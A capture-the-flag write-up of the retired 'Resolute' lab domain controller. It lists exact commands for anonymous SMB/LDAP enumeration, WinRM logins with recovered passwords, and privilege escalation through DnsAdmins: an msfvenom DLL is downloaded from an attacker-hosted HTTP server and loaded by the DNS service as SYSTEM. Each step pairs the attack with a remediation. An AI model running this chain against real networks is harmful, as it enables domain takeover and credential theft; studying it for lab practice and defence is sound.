Resolute
Summary
I mapped the domain controller at $TARGET and found SMB null sessions, unauthenticated RPC, and anonymous LDAP binds all accepted without credentials. An RID brute-force over null SMB recovered the full domain user list, and an anonymous LDAP query pulled description attributes for every account — one of which contained the cleartext onboarding password for melanie.
Those credentials authenticated over WinRM, giving an immediate remote shell and the user flag. Inside that session, PowerShell Transcription had been left enabled and was writing complete session logs to C:\PSTranscripts\; a stored transcript from an earlier administrator session contained ryan's password in plaintext.
Ryan held membership in the built-in DnsAdmins group, which can configure the Windows DNS Server service — running as SYSTEM — to load an arbitrary DLL on startup. A custom payload DLL was staged on the server via HTTP, the ServerLevelPluginDll registry key was pointed at it using reg.exe, and a DNS service restart caused SYSTEM to load and execute the DLL, writing the root flag to a readable path and completing full domain compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p- --open -T4 $TARGET -oN resolute_nmap.txtnxc smb $TARGET -u '' -p ''echo "$TARGET resolute.megabank.local megabank.local" | sudo tee -a /etc/hostsExact commands 2
nxc smb $TARGET -u '' -p '' --rid-brute 6000rpcclient -U "%" -N $TARGET -c "querydispinfo"FixDisable SMB null sessions and restrict unauthenticated RPC account enumerationHigh
Exact commands 1
ldapsearch -x -H ldap://$TARGET -b "dc=megabank,dc=local" "(objectClass=user)" sAMAccountName descriptionFixRemove all plaintext credentials from LDAP description and attribute fieldsCritical
Exact commands 4
nxc smb $TARGET -d megabank.local -u melanie -p '$PASSWORD2'nxc winrm $TARGET -d megabank.local -u melanie -p '$PASSWORD2'evil-winrm -i $TARGET -u melanie -p '$PASSWORD2'Get-Content C:\Users\melanie\Desktop\user.txtExact commands 2
nxc winrm $TARGET -d megabank.local -u melanie -p '$PASSWORD2' -X "Get-ChildItem -Recurse C:\PSTranscripts"nxc winrm $TARGET -d megabank.local -u melanie -p '$PASSWORD2' -X "Get-Content 'C:\PSTranscripts\<subfolder>\<transcript-file>.txt'"FixDisable PowerShell Transcription or lock down transcript directories so unprivileged users cannot read themHigh
Exact commands 3
nxc winrm $TARGET -d megabank.local -u ryan -p '$PASSWORD3'evil-winrm -i $TARGET -u ryan -p '$PASSWORD3'whoami /allExact commands 6
msfvenom -p windows/x64/exec CMD="cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Windows\Temp\r.txt" -f dll -o plugin.dllpython3 -m http.server 8080nxc winrm $TARGET -d megabank.local -u ryan -p '$PASSWORD3' -X "Invoke-WebRequest -Uri http://$ATTACKER_IP:8080/plugin.dll -OutFile C:\Windows\Temp\plugin2.dll"nxc winrm $TARGET -d megabank.local -u ryan -p '$PASSWORD3' -X "reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /t REG_SZ /d C:\Windows\Temp\plugin2.dll /f"nxc winrm $TARGET -d megabank.local -u ryan -p '$PASSWORD3' -X "sc.exe stop dns; Start-Sleep 3; sc.exe start dns"nxc winrm $TARGET -d megabank.local -u ryan -p '$PASSWORD3' -X "Get-Content C:\Windows\Temp\r.txt"FixRemove non-administrative accounts from DnsAdmins and monitor the ServerLevelPluginDll registry keyCritical
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-08 23:57:21Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK) |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49670/tcp | unknown recon-sweep-discovered |
| 49676/tcp | unknown recon-sweep-discovered |
| 49677/tcp | unknown recon-sweep-discovered |
| 49686/tcp | unknown recon-sweep-discovered |
| 49710/tcp | unknown recon-sweep-discovered |
| 49737/tcp | unknown recon-sweep-discovered |